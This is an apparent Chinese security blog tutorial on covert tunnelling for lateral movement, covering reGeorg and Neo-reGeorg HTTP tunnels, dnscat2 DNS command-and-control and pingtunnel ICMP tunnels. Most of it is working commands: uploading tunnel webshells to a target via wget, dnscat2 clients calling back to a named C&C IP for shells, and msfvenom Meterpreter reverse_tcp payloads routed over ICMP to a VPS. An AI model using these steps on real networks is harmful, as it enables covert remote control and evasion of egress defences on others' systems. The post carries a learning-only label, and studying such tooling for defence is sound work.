HTTP_DNS_ICMP代理隧道(仅供学习用途,禁止非法用途)

HTTP代理

reGeorg

https://github.com/NoneNotNull/reGeorg
reGeorg reDuh 的升级版,主要功能是把内网服务器端口的数据通过
HTTP/HTTPS 隧道转发到本机,实现基于 HTTP 协议的通信。
reGeorg 支持 ASPX ASHX PHP JSP WEB 脚本,并特别提供了一个 tomcat5
本。
usage: reGeorgSocksProxy.py [-h] [-l] [-p] [-r] -u [-v]
Socks server for reGeorg HTTP(s) tunneller
optional arguments:
-h, --help 显示此帮助信息并退出
-l , --listen-on 默认监听地址
-p , --listen-port   默认监听端口
-r , --read-buff     本地读取缓冲区,每个 POST 发送的最大数据
-u , --url 包含隧道脚本的url
-v , --verbose 详细输出(INFO|DEBUG)
用法:
python2 reGeorgSocksProxy.py -p 8080 -u
http://172.26.2.43:7001/bea_wls_internal/tunnel.t5.jsp

Neo-reGeorg

重构 reGeorg 的项目,目的是:
提高 tunnel 连接安全性
提高可用性,避免特征检测
提高传输内容保密性
应对更多的网络环境场景
https://github.com/L-codes/Neo-reGeorg
python3 neoreg.py -h
可选参数 :
-h, - -help           显示此帮助消息并退出
-u URI, --url URI     包含隧道脚本的 URL
-k KEY, --key KEY     指定连接密钥
-l IP, --listen-on IP 默认的监听地址。(默认:
127.0.0.1
-p PORT, --listen-port PORT 默认的监听端口。(默认: 1080
-s, --skip           跳过可用性测试
-H LINE, --header LINE 将自定义 header LINE 传递给服务器
-c LINE, --cookie LINE 自定义初始化 Cookie
-x LINE, --proxy LINE proto://host[:port] 在给定端口上 使用代理
--local-dns           本地读取缓冲区,每个 POST 发送的最大数据量(默认值:2048 最大: 2600
--read-buff Bytes     本地读取缓冲区,每个 POST 发送的最大数据量(默认值:2048 最大: 2600
--read-interval MS   读取数据间隔,以毫秒为单位。(默认值:100
--max-threads N       代理最大线程数(默认值: 1000
-v                   提高详细程度(使用 -vv 或更多以获得更好的效果)
1. 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到 WEB 服务器
python3 neoreg.py generate -k passwd
[+] Mkdir a directory: neoreg_servers
[+] Create neoreg server files:
  => neoreg_servers/tunnel.ashx
  => neoreg_servers/tunnel.aspx
  => neoreg_servers/tunnel.jsp
  => neoreg_servers/tunnel.jspx
  => neoreg_servers/tunnel.php
2. 下载 tunnel 脚本到目标 WEB 服务
wget http://47.101.214.85:8000/tunnel.jsp
3. 使用 neoreg.py 连接 WEB 服务器,在本地建立 socks 代理,代理默认端口
1080
python3 neoreg.py -k passwd -u
http://218.76.8.99:38080/sh/tunnel.jsp

Pystinger

DNS隧道

Dnscat2

Dnscat2简介

dnscat2 是一个 DNS 隧道工具,通过 DNS 协议创建加密的命令和控制通道,它的一大
特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包
括:文件上传、下载、反弹 Shell
直连模式:客户端直接向指定 IP 的恶意 DNS 服务器发起 DNS 解析请求。
中继模式:像我们平时上网一样, DNS 解析先经过互联网的迭代解析,最后指向我们
的恶意 DNS 服务器。相比直连,速度较慢,但是更安全。
名词解释
dnscat2 支持的 type 类型
Type DNS 解析的类型,常见的有: A CNAME MX TXT
A: 域名的 IPv4 地址。
AAAA: 域名的 IPv6 地址。
CNAME: 域名的别名。
可以理解为域名的重定向吧,主要方便 IP 地址的变更。
比如 cdn 厂商会给客户企业分配固定的 cname 而不是 IP ,如果分配 IP cdn 厂商做 IP调整就受限哪些客户企业的哪些域名绑定了这个IP ,需要沟通服务迁移。
还有在企业多个域名( www/mail/ftp 或其他业务分类的域名)对应一个入口 IP 地址时候,也可以给多个域名做cname ,便于后期的 IP 调整。
总之,别名是一种松耦合的处理办法。
MX: smtp 邮箱域名的 IP 地址。给 client 端指明某个域名的邮件服务器地址。
PTR: 根据 IP 反向查找域名。
SRV: 服务的 IP 地址记录,包含 ip port priority weight
TXT : 名的文本记录。可以记录联系方式、服务版本信息、反垃圾邮件等。
NS: dns zone 。指定哪个域名服务器可以解析该域名的子域名。
SOA: 授权机构记录,记录 ns 中哪个是主服务器。
默认是 TXT CNAME MX 随机混合使用
A
TXT
CNAME
MX
AAAA

Dnscat2安装

服务端安装
apt install ruby ruby-dev git make g++ ruby-bundler
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
客户端编译
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
make 编译之后会在此目录下生成一个 dnscat 可执行二进制文件。
Linux systemd-resolve 占用 53 端口的解决方法 - ITren https://www.itren.org/
319.html

Dnscat2直连模式

启动服务端
ruby ./dnscat2.rb
启动客户端
./dnscat --dns server=139.155.49.43,port=53 -- secret=0f69f5a5e89a18b0c47fe12ec6f1896aW
服务端接收到会话
获取 shell
windows
session -i 1
shell
session -i 2
直连模式流量特征
tcpdump udp dst port 53

Dnscat2中继模式

准备
1. 一台公网 C&C 服务器
2. 一台内网靶机
3. 一个可配置解析的域名
配置 DNS 域名解析:
1. 创建 A 记录,将自己的域名解析服务器( ns.heetian.cn )指向云服务器
139.155.49.43
2. 创建 NS 记录,将子域名 dnsch.hetian.cn DNS 解析交给 ns.heetian.cn
启动服务端
启动客户端
ruby ./dnscat2.rb dnsch.heetian.cn --secret=mingy
./dnscat --secret=mingy dnsch.heetian.cn
服务端接收会话
中继模式流量特征
tcpdump udp dst port 53

ICMP 隧道

Pingtunnel

https://github.com/esrrhs/pingtunnel
ICMP 隧道作用
通过某种信道获取了内网主机的 shell ,但是当前信道不适合做远控的通信信道,
tcp udp 等传输层协议不能出网, dns http 等应用层协议也不能出网,只有
icmp 协议可以出网。
目的:上线仅 icmp 协议出网的内网主机
参数详解
# ./pingtunnel -h
通过伪造 ping ,把 tcp/udp/sock5 流量通过远程服务器转发到目的服务器上。
用于突破某些运营商封锁TCP/UDP 流量。
Usage:
  // server
  pingtunnel -type server
  // client, Forward udp
  pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t
SERVER_IP:4455
  // client, Forward tcp
  pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t
SERVER_IP:4455 -tcp 1
  // client, Forward sock5, implicitly open tcp, so no
target server is needed
  pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -
sock5 1
  -type     服务器或者客户端
服务器参数 server param:
  -key     设置的密码,默认 0
  -nolog   不写日志文件,只打印标准输出,默认 0
  -noprint 不打印屏幕输出,默认 0
  -loglevel 日志文件等级,默认 info
  -maxconn 最大连接数,默认 0 ,不受限制
  -maxprt   server 最大处理线程数,默认 100
  -maxprb   server 最大处理线程 buffer 数,默认 1000
  -conntt   server 发起连接到目标地址的超时时间,默认 1000ms
客户端参数 client param:
  -l       本地的地址,发到这个端口的流量将转发到服务器
  -s       服务器的地址,流量将通过隧道转发到这个服务器
  -t       远端服务器转发的目的地址,流量将转发到这个地址
  -timeout 本地记录连接超时的时间,单位是秒,默认 60s
  -key     设置的密码,默认 0
  -tcp     设置是否转发 tcp ,默认 0
  -tcp_bs   tcp 的发送接收缓冲区大小,默认 1MB
  -tcp_mw   tcp 的最大窗口,默认 20000
  -tcp_rst tcp 的超时发送时间,默认 400ms
  -tcp_gz   当数据包超过这个大小, tcp 将压缩数据, 0 表示不压缩,默认 0

ICMP隧道转发TCP上线MSF

1. VPS 启动 ICMP 隧道服务端
139.155.49.43 icmp 服务端和 msf 服务都在此 VPS
2. 靶机启动 ICMP 隧道客户端
icmp 客户端监听 127.0.0.1:9999 ,通过连接到 139.155.49.43 icmp 隧道,将
127.0.0.1:9999 收到的 tcp 数据包转发到 139.155.49.43:7777
3. MSF 生成反弹 shell payload 上传到靶机
  -tcp_stat 打印 tcp 的监控,默认 0
  -nolog   不写日志文件,只打印标准输出,默认 0
  -noprint 不打印屏幕输出,默认 0
  -loglevel 日志文件等级,默认 info
  -sock5   开启 sock5 转发,默认 0
  -profile 在指定端口开启性能检测,默认 0 不开启
  -s5filter sock5 模式设置转发过滤,默认全转发,设置 CN 代表 CN 地区的直
连不转发
  -s5ftfile sock5 模式转发过滤的数据文件,默认读取当前目录的
GeoLite2-Country.mmdb
./pingtunnel -type server
1
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 139.155.49.43
-t 139.155.49.43:7777 -tcp 1 -noprint 1 -nolog 1
1
msfvenom -p windows/x64/meterpreter/reverse_tcp
lhost=127.0.0.1 lport=9999 -f exe > 9999.exe
1 4. 执行 payload 反弹 shell MSF

ICMP隧道转发socks上线MSF

1. VPS 启动 ICMP 隧道服务端
139.155.49.43 icmp 服务端和 msf 服务都在此 VPS
2. 靶机启动 ICMP 隧道客户端
icmp 隧道客户端监听 127.0.0.1:9999 启动 socks5 服务,通过连接到 139.155.49.43
icmp 隧道,由 icmpserver 转发 socks5 代理请求到目的地址 139.155.49.43:8899
3. MSF 生成反弹 shell payload
生成支持 socks5 代理的反向 payload
./pingtunnel -type server
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 139.155.49.43
-sock5 1 -noprint 1 -nolog 1
4. 执行 payload 反弹 shell MSF
msfvenom -p windows/x64/meterpreter/reverse_tcp
lhost=139.155.49.43 lport=8899 HttpProxyType=SOCKS
HttpProxyHost=127.0.0.1 HttpProxyPort=9999 -f exe > 8899.exe
  • 5
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安+硬件

生活不易,但愿极客精神与你同在

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值